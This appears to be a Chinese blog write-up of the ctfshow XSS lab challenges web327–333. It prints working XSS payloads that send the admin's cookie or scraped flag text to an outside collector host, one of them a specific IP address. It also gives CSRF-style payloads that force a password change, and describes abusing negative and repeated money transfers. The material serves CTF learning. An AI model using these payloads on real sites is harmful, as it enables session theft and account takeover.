ctfshow--xss靶场web327-web333(一命速通不了的靶场)
前言
欢迎来到我的博客
个人主页:北岭敲键盘的荒漠猫-CSDN博客
web327
打开页面是一个写信页面。
这里题目暗示不明显。
这里是要给admin写信,让他触发我们的xss。(不看解析不知道有个admin用户)
payload:
<svg οnlοad=window.location.href='http://xss平台地址/index.php?c='+document.cookie;>
接收cookie
web328
打开界面如下
思路如下
如果这里不是xss靶场的话,这里得考虑各种注入,xss,未授权,爆破,越权等一大堆漏洞。
但是这里是xss靶场
那么我们就考虑后台有个地方能看用户账号密码,所以我们注册一个带有xss的账号即可。
注册页面如下
用script即可,一命速通payload低配版没成功,高级版没尝试。
直接上payload:
<script>window.location.href='http://xss平台地址/blue/index.php?c='+document.cookie;</script>
密码看不着就不放密码上了,放到用户名上。
拿到cookie。
然后用他的cookie登录进去,看信息。
这里有个大坑。
你的payload会跳转地址,那么你点进去后台就会被你自己的payload给打掉。
解决思路:
换个安全性强的浏览器试试
换个不跳转的payload试试
把js放到服务器上,然后远程加载js(标签中加上src)
我给你payload就是了:ctfshow{cf9e1490-bbfe-4d91-8d2c-b36f6c25c0ed}
web329
打开界面是跟328一样的。
同样的思路来一遍了。
但是你用同样的方法会发现进去会提示你不是管理员。
原因就是凭据失效。
你需要在很短的时间内完成所有的事情。
所以你需要用js代码,当对方触发时要让他把页面内容发过来。
这串代码是对方页面中寻找有关flag相关的消息发送到我们这里。
$('.laytable-cell-1-0-1').each(function(index,value){ //获取标签下的值(flag)if (value.innerHTML.indexOf('ctf'+'show'+'{')>-1){ //读取带有ctf、show、{ 的关键字window.location.href='http://182.92.86.16:9004/blue/index.php?c='+value.innerHTML; //发送到自己的服务器}
});
web330
这一关有点像xss配合csrf进行钓鱼的操作了。
这一关打开发现多了一个密码修改的界面
cookie失效,直接找flag被过滤。
修改密码的数据包是访问这个地址,而且还贼简单就一个参数。
那么我们的思路就可以让管理员触发xss访问这个地址然后触发密码更改。
我们登录进去看flag。
注册的时候用这个payload
window.location.href='http://127.0.0.1/api/change.php?p=123';
让他访问自己的这个地址改密码为123
然后咱直接进去就行了。
web331
界面跟上面的都是一样的。
看看这个数据包是什么样子。
跟上一个差不多,不过这个变成了post请求。
那么创建的账号这样搞就好。
$.ajax ({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});
web332
这关多了不少东西。
多了一个money系统。
修改密码依旧是post
但是好像给过滤了,无法改密码。
看看金额。
每次注册给5元。
弱智的方法
批量注册,批量发送转账数据包到一个账户中。
但是这个肯定咱不想干,太麻烦。
然后测试发现可以给自己汇款,而且金额是增加的。
稍微聪明点方法
这里又出现玩法了,类似于爆破疯狂给自己汇款即可。
但是咱是个懒虫,还是不想干。
最聪明的方法
金额可以汇款负数,那么咱们就是纯增加了。
现在有钱人我们直接买就行了。
web333
最后一关打完下班
当然这关还可以自己给自己转账。爆破即可
直接爆
有钱人,买了